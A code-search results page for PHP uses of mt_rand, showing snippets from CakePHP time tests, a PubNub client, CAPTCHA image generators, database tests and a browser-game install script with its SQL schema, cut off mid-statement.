PageRenderTime 2544ms queryFilters 0ms Sphinxql 229ms GetByIds 1560ms meta 0ms repositoryFilters 9ms languageFilters 0ms sourceFilters 1ms

36,578 results for 'php mt_rand repo:dlorenso/dazlo' (2544 ms)

Source

Language

Repository

time.test.php git://github.com/abalonepaul/eav_behavior.git | PHP | 803 lines
6 *
7 * CakePHP(tm) Tests <http://book.cakephp.org/view/1196/Testing>
8 * Copyright 2005-2011, Cake Software Foundation, Inc. (http://cakefoundation.org)
13 * @copyright     Copyright 2005-2011, Cake Software Foundation, Inc. (http://cakefoundation.org)
14 * @link          http://book.cakephp.org/view/1196/Testing CakePHP(tm) Tests
15 * @package       cake
507		$this->assertTrue($result);
508		$result = $this->Time->isThisMonth(mktime(0, 0, 0, date('m'), mt_rand(1, 28), date('Y') - mt_rand(1, 12)));
509		$this->assertFalse($result);
509		$this->assertFalse($result);
510		$result = $this->Time->isThisMonth(mktime(0, 0, 0, date('m'), mt_rand(1, 28), date('Y') + mt_rand(1, 12)));
511		$this->assertFalse($result);
523		$this->assertTrue($result);
524		$result = $this->Time->isThisYear(mktime(0, 0, 0, mt_rand(1, 12), mt_rand(1, 28), date('Y')));
525		$this->assertTrue($result);
time.test.php git://github.com/pmjones/php-framework-benchmarks.git | PHP | 784 lines
6 *
7 * CakePHP(tm) Tests <http://book.cakephp.org/view/1196/Testing>
8 * Copyright 2005-2010, Cake Software Foundation, Inc. (http://cakefoundation.org)
13 * @copyright     Copyright 2005-2010, Cake Software Foundation, Inc. (http://cakefoundation.org)
14 * @link          http://book.cakephp.org/view/1196/Testing CakePHP(tm) Tests
15 * @package       cake
507		$this->assertTrue($result);
508		$result = $this->Time->isThisMonth(mktime(0, 0, 0, date('m'), mt_rand(1, 28), date('Y') - mt_rand(1, 12)));
509		$this->assertFalse($result);
509		$this->assertFalse($result);
510		$result = $this->Time->isThisMonth(mktime(0, 0, 0, date('m'), mt_rand(1, 28), date('Y') + mt_rand(1, 12)));
511		$this->assertFalse($result);
523		$this->assertTrue($result);
524		$result = $this->Time->isThisYear(mktime(0, 0, 0, mt_rand(1, 12), mt_rand(1, 28), date('Y')));
525		$this->assertTrue($result);
time.test.php git://github.com/mfriesen/kaching-php.git | PHP | 784 lines
6 *
7 * CakePHP(tm) Tests <http://book.cakephp.org/view/1196/Testing>
8 * Copyright 2005-2010, Cake Software Foundation, Inc. (http://cakefoundation.org)
13 * @copyright     Copyright 2005-2010, Cake Software Foundation, Inc. (http://cakefoundation.org)
14 * @link          http://book.cakephp.org/view/1196/Testing CakePHP(tm) Tests
15 * @package       cake
507		$this->assertTrue($result);
508		$result = $this->Time->isThisMonth(mktime(0, 0, 0, date('m'), mt_rand(1, 28), date('Y') - mt_rand(1, 12)));
509		$this->assertFalse($result);
509		$this->assertFalse($result);
510		$result = $this->Time->isThisMonth(mktime(0, 0, 0, date('m'), mt_rand(1, 28), date('Y') + mt_rand(1, 12)));
511		$this->assertFalse($result);
523		$this->assertTrue($result);
524		$result = $this->Time->isThisYear(mktime(0, 0, 0, mt_rand(1, 12), mt_rand(1, 28), date('Y')));
525		$this->assertTrue($result);
Pubnub.php https://github.com/brentbushnell/pubnub-api.git | PHP | 563 lines
1<?php
2require_once('PubnubAES.php');
9{
10    private $ORIGIN = 'PHP.pubnub.com';  // Change this to your custom origin, or IUNDERSTAND.pubnub.com
11    private $PUBLISH_KEY = 'demo';
65
66        if ($this->ORIGIN == "PHP.pubnub.com") {
67            trigger_error("Before running in production, please contact support@pubnub.com for your custom origin.\nPlease set the origin from PHP.pubnub.com to IUNDERSTAND.pubnub.com to remove this warning.\n", E_USER_NOTICE);
467
468        return sprintf('%04X%04X-%04X-%04X-%04X-%04X%04X%04X', mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(16384, 20479), mt_rand(32768, 49151), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535));
469    }
496        curl_setopt($ch, CURLOPT_HTTPHEADER, $pubnubHeaders);
497        curl_setopt($ch, CURLOPT_USERAGENT, "PHP");
498        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
drupal_web_test_case.php https://bitbucket.org/Schnitzel/osec.git | PHP | 2,634 lines
2// $Id: drupal_web_test_case.php,v 1.2.2.3.2.46 2009/11/06 21:23:32 boombatower Exp $
3// Core: Id: drupal_web_test_case.php,v 1.146 2009/08/31 18:30:26 webchick Exp $
4
158   * This is useful for inserting assertions that can only be recorded after
159   * the test case has been destroyed, such as PHP fatal errors. The caller
160   * information is not automatically gathered since the caller is most likely
227   * @param $group
228   *   The type of assertion - examples are "Browser", "PHP".
229   * @return
361   * @param $group
362   *   The type of assertion - examples are "Browser", "PHP".
363   * @return
1758   *   format and return values see the SimpleXML documentation,
1759   *   http://us.php.net/manual/function.simplexml-element-xpath.php.
1760   */
time.test.php https://bitbucket.org/enangyusup/vbulletin-cakephp.git | PHP | 785 lines
6 *
7 * CakePHP(tm) Tests <https://trac.cakephp.org/wiki/Developement/TestSuite>
8 * Copyright 2005-2010, Cake Software Foundation, Inc. (http://cakefoundation.org)
13 * @copyright     Copyright 2005-2010, Cake Software Foundation, Inc. (http://cakefoundation.org)
14 * @link          https://trac.cakephp.org/wiki/Developement/TestSuite CakePHP(tm) Tests
15 * @package       cake
507		$this->assertTrue($result);
508		$result = $this->Time->isThisMonth(mktime(0, 0, 0, date('m'), mt_rand(1, 28), date('Y') - mt_rand(1, 12)));
509		$this->assertFalse($result);
509		$this->assertFalse($result);
510		$result = $this->Time->isThisMonth(mktime(0, 0, 0, date('m'), mt_rand(1, 28), date('Y') + mt_rand(1, 12)));
511		$this->assertFalse($result);
523		$this->assertTrue($result);
524		$result = $this->Time->isThisYear(mktime(0, 0, 0, mt_rand(1, 12), mt_rand(1, 28), date('Y')));
525		$this->assertTrue($result);
TimeHelperTest.php https://bitbucket.org/mg/cakephp.git | PHP | 798 lines
6 *
7 * CakePHP(tm) Tests <http://book.cakephp.org/view/1196/Testing>
8 * Copyright 2005-2011, Cake Software Foundation, Inc. (http://cakefoundation.org)
13 * @copyright     Copyright 2005-2011, Cake Software Foundation, Inc. (http://cakefoundation.org)
14 * @link          http://book.cakephp.org/view/1196/Testing CakePHP(tm) Tests
15 * @package       Cake.Test.Case.View.Helper
499		$this->assertTrue($result);
500		$result = $this->Time->isThisMonth(mktime(0, 0, 0, date('m'), mt_rand(1, 28), date('Y') - mt_rand(1, 12)));
501		$this->assertFalse($result);
501		$this->assertFalse($result);
502		$result = $this->Time->isThisMonth(mktime(0, 0, 0, date('m'), mt_rand(1, 28), date('Y') + mt_rand(1, 12)));
503		$this->assertFalse($result);
514		$this->assertTrue($result);
515		$result = $this->Time->isThisYear(mktime(0, 0, 0, mt_rand(1, 12), mt_rand(1, 28), date('Y')));
516		$this->assertTrue($result);
CakeTimeTest.php https://bitbucket.org/songlipeng2003/octopart.git | PHP | 812 lines
6 *
7 * CakePHP(tm) Tests <http://book.cakephp.org/view/1196/Testing>
8 * Copyright 2005-2011, Cake Software Foundation, Inc. (http://cakefoundation.org)
13 * @copyright     Copyright 2005-2011, Cake Software Foundation, Inc. (http://cakefoundation.org)
14 * @link          http://book.cakephp.org/view/1196/Testing CakePHP(tm) Tests
15 * @package       Cake.Test.Case.View.Helper
513		$this->assertTrue($result);
514		$result = $this->Time->isThisMonth(mktime(0, 0, 0, date('m'), mt_rand(1, 28), date('Y') - mt_rand(1, 12)));
515		$this->assertFalse($result);
515		$this->assertFalse($result);
516		$result = $this->Time->isThisMonth(mktime(0, 0, 0, date('m'), mt_rand(1, 28), date('Y') + mt_rand(1, 12)));
517		$this->assertFalse($result);
528		$this->assertTrue($result);
529		$result = $this->Time->isThisYear(mktime(0, 0, 0, mt_rand(1, 12), mt_rand(1, 28), date('Y')));
530		$this->assertTrue($result);
CakeTimeTest.php https://bitbucket.org/Gregkrol/ecsu_csc337_dev.git | PHP | 811 lines
6 *
7 * CakePHP(tm) Tests <http://book.cakephp.org/view/1196/Testing>
8 * Copyright 2005-2012, Cake Software Foundation, Inc. (http://cakefoundation.org)
13 * @copyright     Copyright 2005-2012, Cake Software Foundation, Inc. (http://cakefoundation.org)
14 * @link          http://book.cakephp.org/view/1196/Testing CakePHP(tm) Tests
15 * @package       Cake.Test.Case.View.Helper
513		$this->assertTrue($result);
514		$result = $this->Time->isThisMonth(mktime(0, 0, 0, date('m'), mt_rand(1, 28), date('Y') - mt_rand(1, 12)));
515		$this->assertFalse($result);
515		$this->assertFalse($result);
516		$result = $this->Time->isThisMonth(mktime(0, 0, 0, date('m'), mt_rand(1, 28), date('Y') + mt_rand(1, 12)));
517		$this->assertFalse($result);
527		$this->assertTrue($result);
528		$result = $this->Time->isThisYear(mktime(0, 0, 0, mt_rand(1, 12), mt_rand(1, 28), date('Y')));
529		$this->assertTrue($result);
DBManagerTest.php https://bitbucket.org/cviolette/sugarcrm.git | PHP | 2,105 lines
1<?php
2/*********************************************************************************
37
38require_once 'include/database/DBManagerFactory.php';
39require_once 'modules/Contacts/Contact.php';
39require_once 'modules/Contacts/Contact.php';
40require_once 'tests/include/database/TestBean.php';
41
41
42class DBManagerTest extends Sugar_PHPUnit_Framework_TestCase
43{
97            $bean = new Contact();
98            $bean->id = "$i-test" . mt_rand();
99            $bean->last_name = "foobar";
153        $bean = new Contact();
154        $bean->last_name = 'foobar' . mt_rand();
155        $bean->id   = 'test' . mt_rand();
Image.php https://bitbucket.org/ksekar/campus.git | PHP | 609 lines
453        if (!function_exists("imagepng")) {
454            require_once 'Zend/Captcha/Exception.php';
455            throw new Zend_Captcha_Exception("Image CAPTCHA requires PNG support");
495        for ($i=0; $i<$this->_dotNoiseLevel; $i++) {
496           imagefilledellipse($img, mt_rand(0,$w), mt_rand(0,$h), 2, 2, $text_color);
497        }
498        for($i=0; $i<$this->_lineNoiseLevel; $i++) {
499           imageline($img, mt_rand(0,$w), mt_rand(0,$h), mt_rand(0,$w), mt_rand(0,$h), $text_color);
500        }
556        for ($i=0; $i<$this->_dotNoiseLevel; $i++) {
557            imagefilledellipse($img2, mt_rand(0,$w), mt_rand(0,$h), 2, 2, $text_color);
558        }
559        for ($i=0; $i<$this->_lineNoiseLevel; $i++) {
560           imageline($img2, mt_rand(0,$w), mt_rand(0,$h), mt_rand(0,$w), mt_rand(0,$h), $text_color);
561        }
Image.php https://bitbucket.org/mercysam/zfs.git | PHP | 589 lines
447        if (!function_exists("imagepng")) {
448            require_once 'Zend/Captcha/Exception.php';
449            throw new Zend_Captcha_Exception("Image CAPTCHA requires PNG support");
489        for ($i=0; $i<$this->_dotNoiseLevel; $i++) {
490           imagefilledellipse($img, mt_rand(0,$w), mt_rand(0,$h), 2, 2, $text_color);
491        }
492        for($i=0; $i<$this->_lineNoiseLevel; $i++) {
493           imageline($img, mt_rand(0,$w), mt_rand(0,$h), mt_rand(0,$w), mt_rand(0,$h), $text_color);
494        }
550        for ($i=0; $i<$this->_dotNoiseLevel; $i++) {
551            imagefilledellipse($img2, mt_rand(0,$w), mt_rand(0,$h), 2, 2, $text_color);
552        }
553        for ($i=0; $i<$this->_lineNoiseLevel; $i++) {
554           imageline($img2, mt_rand(0,$w), mt_rand(0,$h), mt_rand(0,$w), mt_rand(0,$h), $text_color);
555        }
Image.php https://bitbucket.org/jfrubiom/zendframework-1.x.git | PHP | 609 lines
453        if (!function_exists("imagepng")) {
454            require_once 'Zend/Captcha/Exception.php';
455            throw new Zend_Captcha_Exception("Image CAPTCHA requires PNG support");
495        for ($i=0; $i<$this->_dotNoiseLevel; $i++) {
496           imagefilledellipse($img, mt_rand(0,$w), mt_rand(0,$h), 2, 2, $text_color);
497        }
498        for($i=0; $i<$this->_lineNoiseLevel; $i++) {
499           imageline($img, mt_rand(0,$w), mt_rand(0,$h), mt_rand(0,$w), mt_rand(0,$h), $text_color);
500        }
556        for ($i=0; $i<$this->_dotNoiseLevel; $i++) {
557            imagefilledellipse($img2, mt_rand(0,$w), mt_rand(0,$h), 2, 2, $text_color);
558        }
559        for ($i=0; $i<$this->_lineNoiseLevel; $i++) {
560           imageline($img2, mt_rand(0,$w), mt_rand(0,$h), mt_rand(0,$w), mt_rand(0,$h), $text_color);
561        }
Image.php https://bitbucket.org/acidel/buykoala.git | PHP | 605 lines
453        if (!function_exists("imagepng")) {
454            #require_once 'Zend/Captcha/Exception.php';
455            throw new Zend_Captcha_Exception("Image CAPTCHA requires PNG support");
495        for ($i=0; $i<$this->_dotNoiseLevel; $i++) {
496           imagefilledellipse($img, mt_rand(0,$w), mt_rand(0,$h), 2, 2, $text_color);
497        }
498        for($i=0; $i<$this->_lineNoiseLevel; $i++) {
499           imageline($img, mt_rand(0,$w), mt_rand(0,$h), mt_rand(0,$w), mt_rand(0,$h), $text_color);
500        }
556        for ($i=0; $i<$this->_dotNoiseLevel; $i++) {
557            imagefilledellipse($img2, mt_rand(0,$w), mt_rand(0,$h), 2, 2, $text_color);
558        }
559        for ($i=0; $i<$this->_lineNoiseLevel; $i++) {
560           imageline($img2, mt_rand(0,$w), mt_rand(0,$h), mt_rand(0,$w), mt_rand(0,$h), $text_color);
561        }
Image.class.php https://github.com/cxc222/weibo.git | PHP | 858 lines
332				for($i=0;$i<10;$i++){
333					imagearc($im,mt_rand(-10,$width),mt_rand(-10,$height),mt_rand(30,300),mt_rand(20,200),55,44,$pointColor);
334				}
374		$borderColor = imagecolorallocate($im, 100, 100, 100);                    //边框色
375        $pointColor = imagecolorallocate($im,mt_rand(0,255),mt_rand(0,255),mt_rand(0,255));                 //点颜色
376
382			$fontcolor=imagecolorallocate($im,mt_rand(0,255),mt_rand(0,255),mt_rand(0,255));
383			imagearc($im,mt_rand(-10,$width),mt_rand(-10,$height),mt_rand(30,300),mt_rand(20,200),55,44,$fontcolor);
384		}
409			$fontcolor=imagecolorallocate($im,mt_rand(0,255),mt_rand(0,255),mt_rand(0,255));
410			imagearc($im,mt_rand(-10,$width),mt_rand(-10,$height),mt_rand(30,300),mt_rand(20,200),55,44,$fontcolor);
411		}
505			$fontcolor=imagecolorallocate($im,mt_rand(0,255),mt_rand(0,255),mt_rand(0,255));
506			imagearc($im,mt_rand(-10,$width),mt_rand(-10,$height),mt_rand(30,300),mt_rand(20,200),55,44,$fontcolor);
507		}
Image.php https://github.com/polokk/tudu-web-1.git | PHP | 609 lines
302                // 画椭圆弧
303                imagearc($im, $x, $y, mt_rand(0, $this->width), mt_rand(0, $this->height), mt_rand(0, 360), mt_rand(0, 360), $color);
304            } else {
306                // 画一条线段
307                imageline($im, $x, $y, mt_rand(0, $this->width), mt_rand(0, mt_rand($this->height, $this->width)), $color);
308            }
464        for($i = 0; $i <= 3; $i++) {
465            $this->color && $this->_fontColor = array(mt_rand(0, 255), mt_rand(0, 255), mt_rand(0, 255));
466            if ($font[$i]['file']) {
501        if ($this->color) {
502            $color = array(mt_rand(0, 255), mt_rand(0, 255), mt_rand(0, 255));
503        } else {
561                $a1 = substr('012', mt_rand(0, 2), 1) . substr('012345', mt_rand(0, 5), 1);
562                $a2 = substr('012345', mt_rand(0, 5), 1) . substr('0123', mt_rand(0, 3), 1);
563                mt_rand(0, 1) == 1 ? array_push($numbers[$i], $a1) : array_unshift($numbers[$i], $a1);
install.php https://github.com/minea94/DboorZ.git | PHP | 215 lines
1<?php
2/**
46       						CREATE TABLE `privatechat` (\r\n  `id` int(10) unsigned NOT NULL auto_increment,\r\n  `from` varchar(255) character set utf8 NOT NULL default '',\r\n  `from_img` varchar(200) NOT NULL default 'nophoto.gif',\r\n  `from_id` int(11) NOT NULL default '0',\r\n  `to` varchar(255) character set utf8 NOT NULL default '',\r\n  `to_img` varchar(200) NOT NULL default 'nophoto.gif',\r\n  `to_id` int(11) NOT NULL default '0',\r\n  `message` text character set utf8 NOT NULL,\r\n  `sent` datetime NOT NULL default '0000-00-00 00:00:00',\r\n  `recd` int(10) unsigned NOT NULL default '0',\r\n  PRIMARY KEY  (`id`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;\r\n\r\nCREATE TABLE `p_profile` (\r\n  `ID` int(11) NOT NULL AUTO_INCREMENT,\r\n  `userid` int(11) DEFAULT '0',\r\n  `message` text,\r\n  `date` varchar(250) DEFAULT NULL,\r\n  `image` VARCHAR(250) NOT NULL DEFAULT '',\r\n  `url` VARCHAR(250) NOT NULL DEFAULT '',\r\n  `youtube` VARCHAR(250) NOT NULL DEFAULT '',\r\n  PRIMARY KEY (`ID`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `p_comment` (\r\n  `ID` int(11) NOT NULL AUTO_INCREMENT,\r\n  `username` varchar(100) DEFAULT NULL,\r\n  `userid` int(11) DEFAULT '0',\r\n  `to_userid` int(11) DEFAULT '0',\r\n  `topicid` int(11) DEFAULT '0',\r\n  `date` varchar(30) DEFAULT NULL,\r\n  `comment` varchar(250) DEFAULT NULL,\r\n  PRIMARY KEY (`ID`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `p_friends` (\r\n  `ID` int(11) NOT NULL AUTO_INCREMENT,\r\n  `playerid1` int(11) DEFAULT '0',\r\n  `playername1` varchar(70) DEFAULT NULL,\r\n  `playerid2` int(11) DEFAULT '0',\r\n  `playername2` varchar(70) DEFAULT NULL,\r\n  `date` varchar(30) DEFAULT NULL,\r\n  `accept` int(11) DEFAULT '0',\r\n  PRIMARY KEY (`ID`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `g_words` (\r\n  `ID` int(11) NOT NULL AUTO_INCREMENT,\r\n  `word` varchar(200) DEFAULT NULL,\r\n  PRIMARY KEY (`ID`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `g_banner` (\r\n  `ID` int(11) NOT NULL AUTO_INCREMENT,\r\n  `name` varchar(200) DEFAULT NULL,\r\n  `url` varchar(200) DEFAULT NULL,\r\n  `cat` int(11) DEFAULT '1',\r\n  `image` varchar(200) DEFAULT NULL,\r\n  `type` enum('image','flash') DEFAULT 'image',\r\n  `date` varchar(30) DEFAULT NULL,\r\n  `visit` int(11) DEFAULT '0',\r\n  `view` int(11) DEFAULT '0',\r\n  PRIMARY KEY (`ID`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `g_chat` (\r\n  `ID` int(11) NOT NULL AUTO_INCREMENT,\r\n  `username` varchar(100) DEFAULT NULL,\r\n  `date` varchar(30) DEFAULT NULL,\r\n  `userid` int(11) DEFAULT NULL,\r\n  `text` varchar(250) DEFAULT NULL,\r\n  PRIMARY KEY (`ID`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `g_settings` (\r\n  `start_date` datetime DEFAULT NULL,\r\n  `license_key` varchar(50) DEFAULT NULL,\r\n  `game_over` tinyint(1) DEFAULT '0',\r\n  `game_transient_stopped` tinyint(1) DEFAULT '0',\r\n  `cur_week` smallint(6) DEFAULT '0',\r\n  `win_pid` bigint(20) DEFAULT '0',\r\n  `qlocked_date` datetime DEFAULT NULL,\r\n  `qlocked` tinyint(1) DEFAULT '0'\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `g_summary` (\r\n  `players_count` bigint(20) DEFAULT '0',\r\n  `active_players_count` bigint(20) DEFAULT '0',\r\n  `Dboor_players_count` bigint(20) DEFAULT '0',\r\n  `Arab_players_count` bigint(20) DEFAULT '0',\r\n  `Roman_players_count` bigint(20) DEFAULT '0',\r\n  `Teutonic_players_count` bigint(20) DEFAULT '0',\r\n  `Gallic_players_count` bigint(20) DEFAULT '0',\r\n  `news_text` text,\r\n  `gnews_text` text\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `p_alliances` (\r\n  `id` bigint(20) NOT NULL AUTO_INCREMENT,\r\n  `name` varchar(255) NOT NULL DEFAULT '',\r\n  `name2` varchar(255) DEFAULT NULL,\r\n  `creator_player_id` bigint(20) DEFAULT NULL,\r\n  `rating` int(11) DEFAULT NULL,\r\n  `creation_date` datetime DEFAULT NULL,\r\n  `contracts_alliance_id` text,\r\n  `player_count` tinyint(4) DEFAULT NULL,\r\n  `max_player_count` tinyint(4) DEFAULT '1',\r\n  `players_ids` text,\r\n  `invites_player_ids` text,\r\n  `description1` text,\r\n  `description2` text,\r\n  `medals` varchar(300) DEFAULT NULL,\r\n  `attack_points` bigint(20) DEFAULT '0',\r\n  `defense_points` bigint(20) DEFAULT '0',\r\n  `week_attack_points` bigint(20) DEFAULT '0',\r\n  `week_defense_points` bigint(20) DEFAULT '0',\r\n  `week_dev_points` bigint(20) DEFAULT '0',\r\n  `week_thief_points` bigint(20) DEFAULT '0',\r\n  PRIMARY KEY (`id`),\r\n  KEY `NewIndex1` (`name`),\r\n  KEY `NewIndex2` (`rating`),\r\n  KEY `NewIndex3` (`attack_points`),\r\n  KEY `NewIndex4` (`defense_points`),\r\n  KEY `NewIndex5` (`week_attack_points`),\r\n  KEY `NewIndex6` (`week_defense_points`),\r\n  KEY `NewIndex7` (`week_dev_points`),\r\n  KEY `NewIndex8` (`week_thief_points`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `p_players` (\r\n  `id` bigint(20) NOT NULL AUTO_INCREMENT,\r\n  `tribe_id` tinyint(4) DEFAULT NULL,\r\n  `alliance_id` bigint(20) DEFAULT NULL,\r\n  `alliance_name` varchar(255) DEFAULT NULL,\r\n  `alliance_roles` text,\r\n  `invites_alliance_ids` text,\r\n  `name` varchar(255) DEFAULT NULL,\r\n  `pwd` varchar(255) DEFAULT NULL,\r\n  `email` varchar(50) DEFAULT NULL,\r\n  `is_active` tinyint(1) DEFAULT '0',\r\n  `is_blocked` tinyint(1) DEFAULT '0',\r\n  `player_type` tinyint(4) DEFAULT '0',\r\n  `active_plus_account` tinyint(1) DEFAULT '0',\r\n  `activation_code` varchar(255) DEFAULT NULL,\r\n  `last_login_date` datetime DEFAULT NULL,\r\n  `last_ip` varchar(255) DEFAULT NULL,\r\n  `birth_date` date DEFAULT NULL,\r\n  `gender` tinyint(1) NOT NULL DEFAULT '0',\r\n  `description1` text,\r\n  `description2` text,\r\n  `house_name` varchar(255) DEFAULT NULL,\r\n  `registration_date` datetime DEFAULT NULL,\r\n  `gold_num` int(11) DEFAULT '0',\r\n  `agent_for_players` varchar(255) DEFAULT NULL,\r\n  `my_agent_players` varchar(255) DEFAULT NULL,\r\n  `custom_links` text,\r\n  `medals` varchar(300) DEFAULT NULL,\r\n  `total_people_count` bigint(20) DEFAULT '2',\r\n  `selected_village_id` bigint(20) DEFAULT NULL,\r\n  `villages_count` tinyint(4) DEFAULT '1',\r\n  `villages_id` text,\r\n  `villages_data` text,\r\n  `friend_players` text,\r\n  `notes` text,\r\n  `hero_troop_id` tinyint(4) DEFAULT NULL,\r\n  `hero_level` tinyint(4) DEFAULT '0',\r\n  `hero_points` bigint(20) DEFAULT '0',\r\n  `hero_name` varchar(300) DEFAULT NULL,\r\n  `hero_in_village_id` bigint(20) DEFAULT NULL,\r\n  `attack_points` bigint(20) DEFAULT '0',\r\n  `defense_points` bigint(20) DEFAULT '0',\r\n  `week_attack_points` bigint(20) DEFAULT '0',\r\n  `week_defense_points` bigint(20) DEFAULT '0',\r\n  `week_dev_points` bigint(20) DEFAULT '0',\r\n  `week_thief_points` bigint(20) DEFAULT '0',\r\n  `new_report_count` smallint(6) DEFAULT '0',\r\n  `new_mail_count` smallint(6) DEFAULT '0',\r\n  `guide_quiz` varchar(50) DEFAULT NULL,\r\n  `new_gnews` tinyint(1) DEFAULT '0',\r\n  `create_nvil` tinyint(4) DEFAULT '0',\r\n  `snid` bigint(11) NOT NULL DEFAULT '0',\r\n  `avatar`  varchar(255) NULL DEFAULT 'http://www.wartatar.com/assets/default/img/q/l6.jpg',\r\n  PRIMARY KEY (`id`),\r\n  UNIQUE KEY `NewIndex1` (`name`),\r\n  UNIQUE KEY `NewIndex2` (`activation_code`),\r\n  UNIQUE KEY `NewIndex4` (`email`),\r\n  KEY `NewIndex3` (`attack_points`),\r\n  KEY `NewIndex6` (`defense_points`),\r\n  KEY `NewIndex5` (`last_login_date`),\r\n  KEY `NewIndex7` (`week_attack_points`),\r\n  KEY `NewIndex8` (`week_defense_points`),\r\n  KEY `NewIndex9` (`week_dev_points`),\r\n  KEY `NewIndex10` (`week_thief_points`),\r\n  KEY `NewIndex11` (`snid`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `p_villages` (\r\n  `id` bigint(20) NOT NULL AUTO_INCREMENT,\r\n  `rel_x` smallint(6) DEFAULT NULL,\r\n  `rel_y` smallint(6) DEFAULT NULL,\r\n  `field_maps_id` tinyint(4) DEFAULT NULL,\r\n  `image_num` tinyint(4) DEFAULT NULL,\r\n  `rand_num` int(11) DEFAULT NULL,\r\n  `parent_id` bigint(20) DEFAULT NULL,\r\n  `tribe_id` tinyint(4) DEFAULT NULL,\r\n  `player_id` bigint(20) DEFAULT NULL,\r\n  `alliance_id` bigint(20) DEFAULT NULL,\r\n  `player_name` varchar(300) DEFAULT NULL,\r\n  `village_name` varchar(255) DEFAULT NULL,\r\n  `alliance_name` varchar(300) DEFAULT NULL,\r\n  `is_capital` tinyint(1) DEFAULT '0',\r\n  `is_special_village` tinyint(1) DEFAULT '0',\r\n  `is_oasis` tinyint(1) DEFAULT NULL,\r\n  `people_count` int(11) DEFAULT '2',\r\n  `crop_consumption` int(11) DEFAULT '2',\r\n  `time_consume_percent` float DEFAULT '100',\r\n  `offer_merchants_count` tinyint(4) DEFAULT '0',\r\n  `resources` varchar(300) DEFAULT NULL,\r\n  `cp` varchar(300) DEFAULT NULL,\r\n  `buildings` varchar(300) DEFAULT NULL,\r\n  `troops_training` varchar(200) DEFAULT NULL,\r\n  `troops_num` text,\r\n  `troops_out_num` text,\r\n  `troops_intrap_num` text,\r\n  `troops_out_intrap_num` text,\r\n  `troops_trapped_num` int(11) DEFAULT '0',\r\n  `allegiance_percent` int(11) DEFAULT '100',\r\n  `child_villages_id` text,\r\n  `village_oases_id` text,\r\n  `creation_date` datetime DEFAULT NULL,\r\n  `update_key` varchar(5) DEFAULT NULL,\r\n  `last_update_date` datetime DEFAULT NULL,\r\n  PRIMARY KEY (`id`),\r\n  KEY `NewIndex2` (`player_id`),\r\n  KEY `rand_num` (`rand_num`),\r\n  KEY `field_maps_id` (`field_maps_id`),\r\n  KEY `NewIndex3` (`is_special_village`),\r\n  KEY `NewIndex4` (`is_oasis`),\r\n  KEY `NewIndex5` (`people_count`),\r\n  KEY `NewIndex1` (`village_name`),\r\n  KEY `NewIndex6` (`player_id`,`is_oasis`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `p_queue` (\r\n  `id` bigint(20) NOT NULL AUTO_INCREMENT,\r\n  `player_id` bigint(20) NOT NULL DEFAULT '0',\r\n  `village_id` bigint(20) DEFAULT NULL,\r\n  `to_player_id` bigint(20) DEFAULT NULL,\r\n  `to_village_id` bigint(20) DEFAULT NULL,\r\n  `proc_type` tinyint(4) DEFAULT NULL,\r\n  `building_id` bigint(20) DEFAULT NULL,\r\n  `proc_params` text,\r\n  `threads` int(11) DEFAULT '1',\r\n  `end_date` datetime DEFAULT NULL,\r\n  `execution_time` bigint(20) DEFAULT NULL,\r\n  PRIMARY KEY (`id`),\r\n  KEY `NewIndex1` (`player_id`),\r\n  KEY `NewIndex2` (`village_id`),\r\n  KEY `NewIndex3` (`to_player_id`),\r\n  KEY `NewIndex4` (`to_village_id`),\r\n  KEY `NewIndex5` (`end_date`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `p_msgs` (\r\n  `id` bigint(20) NOT NULL AUTO_INCREMENT,\r\n  `from_player_id` bigint(20) DEFAULT NULL,\r\n  `to_player_id` bigint(20) DEFAULT NULL,\r\n  `from_player_name` varchar(300) DEFAULT NULL,\r\n  `to_player_name` varchar(300) DEFAULT NULL,\r\n  `msg_title` varchar(255) DEFAULT NULL,\r\n  `msg_body` text,\r\n  `creation_date` datetime DEFAULT NULL,\r\n  `is_readed` tinyint(1) DEFAULT '0',\r\n  `delete_status` tinyint(2) DEFAULT '0',\r\n  PRIMARY KEY (`id`),\r\n  KEY `NewIndex1` (`from_player_id`),\r\n  KEY `NewIndex2` (`to_player_id`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `p_merchants` (\r\n  `id` bigint(20) NOT NULL AUTO_INCREMENT,\r\n  `player_id` bigint(20) DEFAULT NULL,\r\n  `player_name` varchar(255) DEFAULT NULL,\r\n  `village_id` bigint(20) DEFAULT NULL,\r\n  `village_x` smallint(6) DEFAULT NULL,\r\n  `village_y` smallint(6) DEFAULT NULL,\r\n  `offer` varchar(300) DEFAULT NULL,\r\n  `merchants_num` tinyint(4) DEFAULT NULL,\r\n  `merchants_speed` tinyint(4) DEFAULT NULL,\r\n  `alliance_only` tinyint(1) DEFAULT NULL,\r\n  `max_time` tinyint(4) DEFAULT NULL,\r\n  PRIMARY KEY (`id`),\r\n  KEY `NewIndex1` (`player_id`),\r\n  KEY `village_x` (`village_x`),\r\n  KEY `village_y` (`village_y`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `p_rpts` (\r\n  `id` bigint(20) NOT NULL AUTO_INCREMENT,\r\n  `from_player_id` bigint(20) DEFAULT NULL,\r\n  `from_player_name` varchar(300) DEFAULT 